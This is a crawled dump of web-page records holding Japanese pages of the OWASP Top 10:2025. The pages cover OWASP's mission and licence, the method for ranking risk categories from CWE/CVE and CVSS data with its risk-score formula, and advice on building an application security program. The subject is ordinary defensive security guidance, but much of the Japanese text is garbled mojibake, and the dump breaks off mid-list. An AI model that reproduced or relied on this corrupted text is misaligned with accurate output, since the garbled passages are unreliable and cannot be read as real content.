[Google グループ](https://groups.google.com/g/owasp)\n\n詳細は公式サイトをご覧ください: [https://owasp.org](https://owasp.org)\n\nアプリケーションセキュリティの向上に関心がある方ならどなたでも、OWASPのツール、ドキュメント、動画、資料、会合へ自由にアクセスできます。\n\nç§ăŸăĄăŻă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łă‚’ă€Œäşşă€ăƒ—ăƒ­ă‚ťă‚šă€ăƒ†ă‚ŻăƒŽăƒ­ă‚¸ăƒźă€ăŽä¸‰ĺ´é˘ă‹ă‚‰ăŞă‚‹čŞ˛éĄŒă¨ă—ăŚć‰ăˆă‚‹ă“ă¨ă‚’ćĺ”ąă—ăŚă„ăžă™ă€‚ă“ă‚Œă‚‰ă™ăšăŚăŽé ˜ĺŸŸă‚’ć”šĺ–„ă™ă‚‹ă“ă¨ă“ăăŒă€ćœ€ă‚‚ĺŠšćžœçš„ăŞă‚˘ăƒ—ăƒ­ăƒźăƒă ă‹ă‚‰ă§ă™ă€‚\n\nOWASPăŻă€ć—˘ĺ­˜ăŽçľ„çš”ă¨ăŻä¸€çˇšă‚’ç”ťă—ăŚă„ăžă™ă€‚ĺ•†ćĽ­çš„ăŞĺœ§ĺŠ›ă‹ă‚‰č‡Şç”ąă§ă‚ă‚‹ăŸă‚ă€ĺă‚ŠăŽăŞă„ă€ĺŽŸç”¨çš„ă‹ă¤č˛ťç”¨ĺŻžĺŠšćžœăŽéŤ˜ă„ćƒ…ĺ ąă‚’ç™şäżĄă—çśšă‘ă‚‹ă“ă¨ăŒĺŻčƒ˝ă§ă™ă€‚\n\n私たちは特定のテクノロジー企業とは提携していませんが、商用セキュリティ技術を正しく理解し活用することを支援しています。OWASPが制作する多種多様な資料は、協力的かつ透明性の高い、オープンな方法で作成されています。\n\nOWASP Foundation ăŻă€ăƒ—ăƒ­ă‚¸ă‚§ă‚ŻăƒˆăŽé•ˇćœŸçš„ăŞćˆĺŠŸă‚’ć”Żăˆă‚‹éžĺ–śĺˆŠĺ›Łä˝“ă§ă™ă€‚ç†äş‹äźšă€ăƒăƒŁăƒ—ă‚żăƒźăƒŞăƒźăƒ€ăƒźă€ăƒ—ăƒ­ă‚¸ă‚§ă‚ŻăƒˆăƒŞăƒźăƒ€ăƒźă€ăă—ăŚăƒĄăƒłăƒăƒźăŤč‡łă‚‹ăžă§ă€é–˘ă‚ă‚‹äşşă€…ăŽăťă¨ă‚“ăŠăŒăƒœăƒŠăƒłăƒ†ă‚Łă‚˘ă§ć§‹ćˆă•ă‚ŒăŚă„ăžă™ă€‚ç§ăŸăĄăŻă€ĺŠŠćˆé‡‘ă‚„ă‚¤ăƒłăƒ•ăƒŠăŽćäž›ă‚’é€šă˜ăŚă€éŠć–°çš„ăŞă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łç ”çŠśă‚’ć”Żć´ă—ăŚă„ăžă™ă€‚\n\năœă˛ă€ç§ăŸăĄăŽć´ťĺ‹•ăŤĺŠ ă‚ăŁăŚăă ă•ă„ďź\n\n## 著作権とライセンス (Copyright and License)\n\nCopyright Š 2003-2025 The OWASPÂŽ Foundation, Inc. 本ドキュメントは、クリエイティブ・コモンズ 襨示 - 継承 4.0 (CC BY-SA 4.0) ăƒŠă‚¤ă‚ťăƒłă‚šăŽă‚‚ă¨ă§ĺ…Źé–‹ă•ă‚ŒăŚă„ăžă™ă€‚ĺ†ĺˆŠç”¨ăžăŸăŻé…ĺ¸ƒăŤă‚ăŸăŁăŚăŻă€ćœŹä˝œĺ“ăŽăƒŠă‚¤ă‚ťăƒłă‚šćĄé …ă‚’äť–č€…ăŤć˜Žç¤şă™ă‚‹ĺż…čŚăŒă‚ă‚Šăžă™ă€‚", "znaku_textu": 3057, "slov": 84, "odkazu": 35, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:15", "sha256": "4e1d2dc83140438f3a3176153a9b4ce3c1e5722d49f7c6211239058d9ecb7121", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/0x02_2025-What_are_Application_Security_Risks/", "titulek": "What are Application Security Risks? - OWASP Top 10:2025", "h1": "アプリケーションセキュリティのリスクとは? (What are Application Security Risks?)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "アプリケーションセキュリティのリスクとは? (What are Application Security Risks?)"}, {"uroven": 2, "text": "ă‚Ťăƒ†ă‚´ăƒŞăŽé¸ĺŽšă¨é †ä˝äť˜ă‘ă¸ăŽăƒ‡ăƒźă‚żć´ťç”¨ć–šćł•"}, {"uroven": 2, "text": "ăƒ‡ăƒźă‚żčŚç´ (Data Factors)"}], "markdown": "# アプリケーションセキュリティのリスクとは? (What are Application Security Risks?)\n\n攻撃者は、アプリケーション内のさまざまな経路を悪用し、ビジネスや組織に損害を与える恐れがあります。これらの経路の一つひとつが潜在的なリスクであり、慎重な調査が必要です。\n\n| **脅威主体\n(Threat Agents)** | **攻撃ベクトル\n(Attack Vectors)** | **悪用可能性\n(Exploitability)** | **セキュリティ制御の\nćŹ ĺŚ‚ăŤă‚ˆă‚‹ĺŻčƒ˝ć€§\n(Likelihood of Missing Security Controls)** | **技術面への影響\n(Technical Impacts)** | **ビジネス面への影響\n(Business Impacts)** |\n| --- | --- | --- | --- | --- | --- |\n| **環境や状況把握に基づく動的な変化** | **アプリケーションの露出状況(環境別)** | **ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘** | **ĺšłĺ‡ĺ‡şçžçŽ‡ăŤĺŸşăĽăĺˆśĺžĄăŽćŹ ĺŚ‚\nďźˆăƒ†ă‚šăƒˆçś˛çž…çŽ‡ă§ĺŠ é‡ďź‰** | **ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘** | **ビジネス固有の影響** |\n\nOWASPăŽăƒŞă‚šă‚Żć źäť˜ă‘ă§ăŻă€ć‚Şç”¨ĺŻčƒ˝ć€§ă€ĺźąç‚šăŤĺŻžă™ă‚‹ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁĺˆśĺžĄăŽćŹ ĺŚ‚ăŤă‚ˆă‚‹ĺšłĺ‡çš„ăŞĺŻčƒ˝ć€§ă€ăŠă‚ˆăłćŠ€čĄ“é˘ă¸ăŽĺ˝ąéŸżă¨ă„ă†ć™Žéçš„ăŞăƒ‘ăƒŠăƒĄăƒźă‚żă‚’č€ƒć…Žă—ăŚă„ăžă™ă€‚\n\nただし、組織、脅威主体の目的、侵害時の影響はそれぞれ異なります。たとえば、同じコンテンツ管理システム(CMS) ă‚’ä˝żç”¨ă—ăŚă„ăŚă‚‚ă€ĺ…Źç›Šćł•äşşăŒă€Œĺ…Źé–‹ćƒ…ĺ ąă€ă‚’ć‰ąă†ĺ ´ĺˆă¨ă€ĺŒťç™‚ćŠŸé–˘ăŒă€ŒćŠŸĺžŽăŞĺĽĺşˇćƒ…ĺ ąă€ă‚’ć‰ąă†ĺ ´ĺˆă§ăŻă€č„…ĺ¨ä¸ťä˝“ă‚„ăƒ“ă‚¸ăƒă‚šé˘ă¸ăŽĺ˝ąéŸżăŻĺ¤§ăăç•°ăŞă‚Šăžă™ă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽéœ˛ĺ‡şçŠśćłă€çŠśćłćŠŠćĄ (Situation Picture) ăŤĺŸşăĽăéŠĺˆ‡ăŞč„…ĺ¨ä¸ťä˝“ďźˆăƒ“ă‚¸ăƒă‚šă‚„ć‰€ĺœ¨ĺœ°ăŤĺżœă˜ăŸć¨™çš„ĺž‹ć”ťć’ƒă¨ç„ĄĺˇŽĺˆĽć”ťć’ƒăŽä¸Ąć–šă‚’č€ƒć…Žďź‰ă€ăŠă‚ˆăłĺ€‹ĺˆĽăŽăƒ“ă‚¸ăƒă‚šé˘ă¸ăŽĺ˝ąéŸżă‚’č€ƒć…Žă—ă€č‡Şçľ„çš”ăŤăŠă‘ă‚‹ăƒŞă‚šă‚Żă‚’ç†č§Łă™ă‚‹ă“ă¨ăŒä¸ĺŻćŹ ă§ă™ă€‚\n\n## ă‚Ťăƒ†ă‚´ăƒŞăŽé¸ĺŽšă¨é †ä˝äť˜ă‘ă¸ăŽăƒ‡ăƒźă‚żć´ťç”¨ć–šćł•\n\nOWASP Top 10 のカテゴリ選定手法は、時代とともに進化してきました。2017年版では出現率 (Incidence Rate) を中心に可能性を評価し、悪用可能性 (Exploitability)、検出可能性 (Detectability、これも可能性の一部)ă€ćŠ€čĄ“é˘ă¸ăŽĺ˝ąéŸżăŤă¤ă„ăŚă€ć•°ĺĺš´ăŽçľŒé¨“ăŤĺŸşăĽăăƒăƒźăƒ ĺ†…ă§ăŽč­°čŤ–ăŤă‚ˆă‚Šé †ä˝ă‚’ćąşĺŽšă—ăŚă„ăžă—ăŸă€‚2021年版からは、脆弱性データベース (NVD: National Vulnerability Database) ぎ CVSSv2 および CVSSv3 スコアを活用して悪用可能性と技術面への影響を評価する手法へ移行し、2025年版でもこの手法を継承しています。\n\n評価にあたっては、OWASP Dependency Check をダウンロードし、関連する CWE (共通弱点一覧) ごとにグループ化された CVE (共通脆弱性識別子) ぎ CVSS 悪用スコアと影響スコアを抽出しました。これには相当の調査と労力を要しました。すべての CVE きは CVSSv2 スコアがありますが、CVSSv2 ăŤăŻćŹ é™ĽăŒă‚ă‚Šă€CVSSv3 で対処されるべきものです。ある時点以降、すべての CVE きは CVSSv3 スコアも割り当てられています。また、CVSSv2 と CVSSv3 の間でスコアリング範囲と計算式が更新されました。\n\nCVSSv2 では、悪用スコアと技術面への影響スコアの両方が最大 10.0 になる可能性がありましたが、計算式により悪用スコアは 60%、影響スコアは 40% に低減されていました。CVSSv3 では、理論上の最大値は悪用スコアが 6.0、影響スコアが 4.0 に制限されました。重み付けを考慮すると、2021年版 Top 10 の分析時点で、影響スコアは CVSSv3 で平均約 1.5 ポイント高くなり、悪用可能性は平均約 0.5 ポイント低くなりました。\n\nOWASP Dependency Check から抽出した National Vulnerability Database (NVD) には、CWE にマッピングされた約 17 万 5 千件(2021嚴ぎ 12 万 5 ĺƒäťśă‹ă‚‰ĺ˘—ĺŠ ďź‰ăŽ CVE レコードがあります。また、CVE にマッピングされたユニークな CWE は 643 䝜2021嚴ぎ 241 äťśă‹ă‚‰ĺ˘—ĺŠ ďź‰ă‚ă‚Šăžă™ă€‚ćŠ˝ĺ‡şă•ă‚ŒăŸç´„ 22 万件の CVE のうち、16 万件が CVSS v2 スコア、15 万 6 千件が CVSS v3 スコア、6 千件が CVSS v4 スコアを持っています。多くの CVE が複数のスコアを持つため、合計は 22 万件を超えます。\n\nTop 10 2025 では、以下の方法で平均悪用スコアと影響スコアを計算しました。CVSS スコアを持つすべての CVE を CWE ごとにグループ化し、CVSSv3 を持つ母集団の割合と、残りの CVSSv2 を持つ母集団で悪用スコアと影響スコアの両方を重み付けして、全体の平均を算出しました。これらの平均をデータセット内の CWE にマッピングし、リスク方程式のもう半分として悪用スコアと技術面への影響スコアとして使用しました。\n\nCVSS v4.0 ă‚’ä˝żç”¨ă—ăŞă„ăŽăŻăŞăœă‹ă¨ć€ă‚ă‚Œă‚‹ă‹ă‚‚ă—ă‚Œăžă›ă‚“ă€‚ă“ă‚ŒăŻă€ă‚šă‚łă‚˘ăƒŞăƒłă‚°ă‚˘ăƒŤă‚´ăƒŞă‚şăƒ ăŒć šćœŹçš„ăŤĺ¤‰ć›´ă•ă‚Œă€CVSSv2 や CVSSv3 のように「悪用」や「影響」スコアを簡単に提供できなくなったためです。Top 10 の将来のバージョンで CVSS v4.0 スコアを使用する方法を検討する予定ですが、2025年版では適時に対応する方法を見つけることができませんでした。\n\n出現率の算出にあたっては、ある組織が一定期間にテストしたアプリケーション母集団から、各 CWE ăŤĺŻžă—ăŚč„†ĺźąăŞă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽĺ‰˛ĺˆă‚’č¨ˆçŽ—ă—ăžă—ăŸă€‚ĺżľăŽăŸă‚ç˘şčŞă—ăžă™ăŒă€ç§ăŸăĄăŻé ťĺşŚďźˆĺ•éĄŒăŒă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ†…ă§ä˝•ĺ›žç™şç”Ÿă—ăŸă‹ďź‰ăŻä˝żç”¨ă—ăŚăŠă‚‰ăšă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłćŻé›†ĺ›ŁăŽă†ăĄä˝•ăƒ‘ăƒźă‚ťăƒłăƒˆăŤĺ„ CWE が見つかったかに着目しています。\n\n網羅率については、特定の CWE に対してすべての組織がテストしたアプリケーションの割合を確認しています。算出された網羅率が高いほど、サンプルサイズが母集団をより代表しているため、出現率が正確であるという確証が強くなります。\n\n今回使用した計算式は 2021年版と類似していますが、一部の重み付けに変更があります。\n**(最大出現率% * 1000) + (最大網羅率% * 100) + (平均悪用スコア * 10) + (平均影響スコア * 20) + (出現総数 / 10000) = リスクスコア**\n\nこの式で算出されたスコアは、「アクセス制御の不備」の 621.60 から、「メモリ管理エラー」の 271.08 まで多岐にわたります。\n\nă“ă‚ŒăŻĺŽŒç’§ăŞă‚ˇă‚šăƒ†ăƒ ă§ăŻă‚ă‚Šăžă›ă‚“ăŒă€ăƒŞă‚šă‚Żă‚Ťăƒ†ă‚´ăƒŞăŽé †ä˝äť˜ă‘ăŤăŻćœ‰ç”¨ă§ă™ă€‚\n\näťŠĺžŒĺ˘—ĺ¤§ă™ă‚‹čŞ˛éĄŒăŽä¸€ă¤ăŻă€ă€Œă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă€ăŽĺŽšçžŠă§ă™ă€‚ćĽ­ç•ŒăŒăƒžă‚¤ă‚Żăƒ­ă‚ľăƒźăƒ“ă‚šă‚„ĺž“ćĽăŽă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ˆă‚Šĺ°ă•ă„ĺŽŸčŁ…ă§ć§‹ćˆă•ă‚Œă‚‹ă•ăžă–ăžăŞă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁă¸ç§ťčĄŒă™ă‚‹ăŤă¤ă‚Œă€č¨ˆçŽ—ăŒă‚ˆă‚Šĺ›°é›ŁăŤăŞăŁăŚă„ăžă™ă€‚ăŸă¨ăˆă°ă€çľ„çš”ăŒă‚łăƒźăƒ‰ăƒŞăƒă‚¸ăƒˆăƒŞă‚’ăƒ†ă‚šăƒˆă—ăŚă„ă‚‹ĺ ´ĺˆă€ä˝•ă‚’ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă¨ăżăŞă™ăŽă§ă—ă‚‡ă†ă‹ďźŸ CVSSv4 の成長と同様に、次回の Top 10 では、常に変化する業界に対応するため、分析とスコアリングの調整が必要になるかもしれません。\n\n## ăƒ‡ăƒźă‚żčŚç´ (Data Factors)\n\nĺ„ă‚Ťăƒ†ă‚´ăƒŞăŤč¨˜čź‰ă•ă‚ŒăŚă„ă‚‹ăƒ‡ăƒźă‚żčŚç´ ăŽć„ĺ‘łăŻäťĽä¸‹ăŽé€šă‚Šă§ă™ă€‚\n\n**CWEs Mapped (紐付けられたCWE数):** 各カテゴリに割り当てられた CWE の総数。\n\n**Incidence Rate (出現率):** 調査対象のアプリケーション群のうち、その CWE が一つ以上見つかったアプリケーションの割合。\n\n**Weighted Exploit (ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘):** CWE に紐づく CVE ぎ CVSS 悪用可能性サブスコアを正規化し、10段階で評価したもの。\n\n**Weighted Impact (ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘):** CWE に紐づく CVE ぎ CVSS 影響サブスコアを正規化し、10段階で評価したもの。\n\n**(Testing) Coverage (テスト網羅率):** すべての組織において、その CWE を対象としたテストが行われたアプリケーションの割合。\n\n**Total Occurrences (出現総数):** そのカテゴリに属する CWE が見つかったアプリケーションの延べ数。\n\n**Total CVEs (CVE総数):** NVD データベース上で、そのカテゴリ内の CWE に紐付けられている CVE の総数。\n\n**Formula (計算式):** (最大出現率% * 1000) + (最大網羅率% * 100) + (平均悪用スコア * 10) + (平均影響スコア * 20) + (出現総数 / 10000) = リスクスコア", "znaku_textu": 8708, "slov": 353, "odkazu": 30, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:16", "sha256": "7731d8daecd62af42da8fbc0dd498ef99fbc93be6e1048cc6b78deb65092ed18", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Establishing a Modern Application Security Program - OWASP Top 10:2025", "h1": "今日求められるアプリケーションセキュリティ・プログラムの構築 (Establishing a Modern Application Security Program)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "今日求められるアプリケーションセキュリティ・プログラムの構築 (Establishing a Modern Application Security Program)"}, {"uroven": 3, "text": "1. リスクに基づくポートフォリオ・アプローチの確立"}, {"uroven": 3, "text": "2. 強固な基盤によるイネーブルメント"}, {"uroven": 3, "text": "3. 既存プロセスへのセキュリティ統合"}, {"uroven": 3, "text": "4. アプリケーションセキュリティ教育"}, {"uroven": 3, "text": "5. マネジメントへの可視化提供"}, {"uroven": 2, "text": "繰り返し利用可能なセキュリティ・プロセスの確立と標準的制御の活用"}, {"uroven": 3, "text": "要件とリソース管理フェーズ:"}, {"uroven": 3, "text": "ććĄˆäžé źć›¸ (RFP) と契約:"}, {"uroven": 3, "text": "計画と設計フェーズ:"}, {"uroven": 3, "text": "安全な開発ライフサイクル (Secure Development Lifecycle):"}, {"uroven": 3, "text": "継続的なアプリケーションセキュリティテストの確立:"}, {"uroven": 3, "text": "ロールアウト:"}, {"uroven": 3, "text": "運用と変更管理:"}, {"uroven": 3, "text": "システムの廃止:"}, {"uroven": 2, "text": "OWASP Top 10 ă‚’ć¨™ćş–ă¨ă—ăŚĺˆŠç”¨ă™ă‚‹ĺ ´ĺˆ"}], "markdown": "# 今日求められるアプリケーションセキュリティ・プログラムの構築 (Establishing a Modern Application Security Program)\n\nOWASP Top 10 は、対象となるトピックの最も重大なリスクを周知するための啓発文書です。これは網羅的なリストではなく、あくまで出発点に過ぎません。これまでの版では、これらのリスクを回避するためにアプリケーションセキュリティ・プログラムを開始することを推奨してきましたが、本セクションでは、実効性のあるプログラムをどのように開始し、構築していくかに焦点を当てます。\n\nă™ă§ăŤăƒ—ăƒ­ă‚°ăƒŠăƒ ă‚’é‹ç”¨ă—ăŚă„ă‚‹ĺ ´ĺˆăŻă€[OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) や DSOMM (DevSecOps Maturity Model) を用いた成熟度評価を検討してください。これらのモデルは包括的かつ網羅的であり、プログラムを拡張・成熟させるためにどこに注力すべきかを判断するのに役立ちます。なお、SAMM や DSOMM ăŽă™ăšăŚă‚’ĺŽŒç’§ăŤă“ăŞă™ĺż…čŚăŻă‚ă‚Šăžă›ă‚“ă€‚ă“ă‚Œă‚‰ăŻă‚ăăžă§ă‚Źă‚¤ăƒ‰ă§ă‚ă‚Šă€ĺ¤šăăŽé¸ćŠžč‚˘ă‚’ćç¤şă™ă‚‹ă‚‚ăŽă§ă™ă€‚é”ćˆä¸ĺŻčƒ˝ăŞć¨™ćş–ă‚„ă€č˛ ć‹…ă§ăăŞă„ăƒ—ăƒ­ă‚°ăƒŠăƒ ă‚’ćç¤şă™ă‚‹ă‚‚ăŽă§ăŻă‚ă‚Šăžă›ă‚“ă€‚ĺ¤šăăŽă‚˘ă‚¤ăƒ‡ă‚˘ă‚„é¸ćŠžč‚˘ă‚’ćäž›ă™ă‚‹ăŸă‚ăŤă€ĺşƒçŻ„ăŞĺ†…ĺŽšă¨ăŞăŁăŚă„ăžă™ă€‚\n\nă‚źăƒ­ă‹ă‚‰ăƒ—ăƒ­ă‚°ăƒŠăƒ ă‚’é–‹ĺ§‹ă™ă‚‹ĺ ´ĺˆă‚„ă€SAMM/DSOMM ăŒçžć™‚ç‚šă§ăŻč˛ ć‹…ăŒĺ¤§ăă„ă¨ć„Ÿă˜ă‚‹ĺ ´ĺˆăŻă€äťĽä¸‹ăŽĺŠŠč¨€ă‚’ĺ‚č€ƒăŤă—ăŚăă ă•ă„ă€‚\n\n### 1. リスクに基づくポートフォリオ・アプローチの確立\n\n- ビジネスの視点から、アプリケーション・ポートフォリオの保護ニーズを特定します。これには、保護対象となるデータ資産に関連するプライバシー法やその他の規制を考慮する必要があります。\n- çľ„çš”ăŽăƒŞă‚šă‚Żč¨ąĺŽšĺşŚă‚’ĺć˜ ă—ăŸă€ä¸€č˛Ťć€§ăŽă‚ă‚‹ĺŻčƒ˝ć€§ (Likelihood) と影響 (Impact) ăŽčŚĺ› ă‚’ĺ‚™ăˆăŸ [共通リスク評価モデル](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) を確立します。\n- すべてのアプリケーションと API ă‚’ć¸ŹĺŽšă—ă€ĺ„Şĺ…ˆé †ä˝ă‚’äť˜ă‘ăžă™ă€‚ăăŽçľćžœă‚’ [構成管理データベース (CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database) ăŤčż˝ĺŠ ă—ăŚăă ă•ă„ă€‚\n- 必要なテストの網羅率 (Coverage) ă¨ĺŽłć źă•ăŽăƒŹăƒ™ăƒŤă‚’éŠĺˆ‡ăŤĺŽšçžŠă™ă‚‹ăŸă‚ăŽă€ă‚˘ă‚ˇăƒĽă‚˘ăƒŠăƒłă‚šăƒťă‚Źă‚¤ăƒ‰ăƒŠă‚¤ăƒłă‚’ç­–ĺŽšă—ăžă™ă€‚\n\n### 2. 強固な基盤によるイネーブルメント\n\n- すべての開発チームが遵守すべきセキュリティ・ベースラインとして、重点的なポリシーと標準を確立します。\n- これらのポリシーを補完し、設計・開発の指針となる、再利用可能な共通のセキュリティ制御 (Security Controls) を定義します。\n- é–‹ç™şč€…ăŽĺ˝šĺ‰˛ă‚„ăƒˆăƒ”ăƒƒă‚ŻăŤĺˆă‚ă›ăŸă€ĺż…é ˆă‹ă¤ć¨™çš„ă‚’çľžăŁăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŽăƒˆăƒŹăƒźăƒ‹ăƒłă‚°ăƒťă‚ŤăƒŞă‚­ăƒĽăƒŠăƒ ă‚’ç˘şçŤ‹ă—ăžă™ă€‚\n\n### 3. 既存プロセスへのセキュリティ統合\n\n- 安全な実装と検証のアクティビティを、既存の開発・運用プロセスへ定義・統合します。\n- アクティビティには、脅威モデリング (Threat Modeling)、安全な設計と設計レビュー、安全なコーディングとコードレビュー、ペネトレーションテスト、および脆弱性の修正 (Remediation) が含まれます。\n- 開発・プロジェクトチームが成功できるよう、専門家 (SME: Subject Matter Experts) やサポートサービスを提供します。\n- 現在のシステム開発ライフサイクル (SDLC) と、すべてのソフトウェアセキュリティ活動、ツール、ポリシー、プロセスを確認し、文書化します。\n- 新規ソフトウェアについては、SDLC の各フェーズに 1 ă¤äťĽä¸ŠăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łăƒťă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łă‚’čż˝ĺŠ ă—ăžă™ă€‚ă“ă‚Œă‚‰ăŽă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łă‚’ă™ăšăŚăŽć–°ăƒ—ăƒ­ă‚¸ă‚§ă‚Żăƒˆă§ç˘şĺŽŸăŤĺŽŸć–˝ă™ă‚‹ă“ă¨ă§ă€č¨ąĺŽšĺŻčƒ˝ăŞă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łăƒă‚šăƒăƒŁă§ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ăŒćäž›ă•ă‚Œă‚‹ă‚ˆă†ăŤăŞă‚Šăžă™ă€‚\n- 最終製品が組織のリスク許容レベルを満たすよう、アクティビティを選択してください。\n- 既存のソフトウェア(レガシー資産)については、正式なメンテナンス計画を策定してください。詳細は「運用と変更管理」のセクションを参照してください。\n\n### 4. アプリケーションセキュリティ教育\n\n- セキュリティチャンピオン・プログラムや、開発者向けの一般的なセキュリティ教育プログラム(普及啓発 (Advocacy) ă‚„ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łć„č­˜ĺ‘ä¸Šăƒ—ăƒ­ă‚°ăƒŠăƒ ă¨ă‚‚ĺ‘źă°ă‚Œăžă™ďź‰ăŽé–‹ĺ§‹ă‚’ć¤œč¨Žă—ăŚăă ă•ă„ă€‚é–‹ç™şč€…ăŤçŸĽăŁăŚăŠă„ăŚăťă—ă„ă™ăšăŚăŽă“ă¨ă‚’ć•™ăˆă‚‹ăŸă‚ă§ă™ă€‚ă“ă‚ŒăŤă‚ˆă‚Šé–‹ç™şč€…ăŽçŸĽč­˜ă‚’ćœ€ć–°ăŽçŠść…‹ăŤäżăĄă€ĺŽ‰ĺ…¨ăŤćĽ­ĺ‹™ă‚’čĄŒă†ć–šćł•ă‚’äźăˆă€çľ„çš”ăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łć–‡ĺŒ–ă‚’ă‚ˆă‚Šăƒă‚¸ăƒ†ă‚Łăƒ–ăŞă‚‚ăŽăŤă§ăăžă™ă€‚ăžăŸă€ăƒăƒźăƒ é–“ăŽäżĄé źă‚’éŤ˜ă‚ă€ă‚ˆă‚Šč‰Żă„äť•äş‹é–˘äż‚ăŤă¤ăŞăŒă‚‹ă“ă¨ă‚‚ĺ¤šă„ă§ă™ă€‚OWASP は [OWASP Security Champions Guide](https://securitychampions.owasp.org/) を通じてこの活動を支援しており、段階的に拡張されています。\n- [OWASP Education Project](https://owasp.org/www-project-education/) では、開発者向けのトレーニング資料を提供しています。ハンズオン学習には [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) や [OWASP WebGoat](https://owasp.org/www-project-webgoat/) ăŒćœ€éŠă§ă™ă€‚ăžăŸă€ćœ€ć–°ćƒ…ĺ ąăŽĺŽé›†ăŤăŻ [OWASP カンファレンス](https://owasp.org/events/) や各地の [OWASP チャプター会合](https://owasp.org/chapters/) を活用してください。\n\n### 5. マネジメントへの可視化提供\n\n- メトリクスに基づく管理を徹底してください。収集したメトリクスと分析データに基づき、改善や資金投入の意思決定を行います。メトリクスには、セキュリティ慣行の遵守状況、発生した脆弱性、緩和された脆弱性、テスト網羅率、タイプ別の不備密度などが含まれます。\n- ĺŽŸčŁ…ă¨ć¤œč¨źăŽă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łă‹ă‚‰ĺž—ă‚‰ă‚ŒăŸăƒ‡ăƒźă‚żă‚’ĺˆ†ćžă—ă€ć šćœŹĺŽŸĺ› ă‚„č„†ĺźąć€§ăŽăƒ‘ă‚żăƒźăƒłă‚’ç‰šĺŽšă™ă‚‹ă“ă¨ă§ă€ĺ…¨ç¤žčŚć¨Ąă§ăŽćˆŚç•Ľçš„ă‹ă¤ä˝“çłťçš„ăŞć”šĺ–„ă‚’ćŽ¨é€˛ă—ăžă™ă€‚ĺ¤ąć•—ă‹ă‚‰ĺ­Śăłă€ć”šĺ–„ă‚’äżƒé€˛ă™ă‚‹ăŸă‚ăŽăƒă‚¸ăƒ†ă‚Łăƒ–ăŞă‚¤ăƒłă‚ťăƒłăƒ†ă‚Łăƒ–ă‚’ćäž›ă—ăŚăă ă•ă„ă€‚\n\n## 繰り返し利用可能なセキュリティ・プロセスの確立と標準的制御の活用\n\n### 要件とリソース管理フェーズ:\n\n- ビジネス部門と協力し、すべてのデータ資産の機密性、真正性、完全性、可用性に関する保護要件、および期待されるビジネスロジックを含む要件を収集・調整します。\n- 機能的および非機能的なセキュリティ要件を含む技術要件をまとめます。要件設定のガイドとして、 [OWASP ASVS (Application Security Verification Standard)](https://owasp.org/www-project-application-security-verification-standard/) の活用を推奨します。\n- セキュリティ・アクティビティを含む、設計、構築、テスト、運用のあらゆる側面をカバーする予算を計画・交渉します。\n- ăƒ—ăƒ­ă‚¸ă‚§ă‚ŻăƒˆăŽă‚šă‚ąă‚¸ăƒĽăƒźăƒŤăŤă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łăƒťă‚˘ă‚Żăƒ†ă‚Łăƒ“ăƒ†ă‚Łă‚’čż˝ĺŠ ă—ăžă™ă€‚\n- 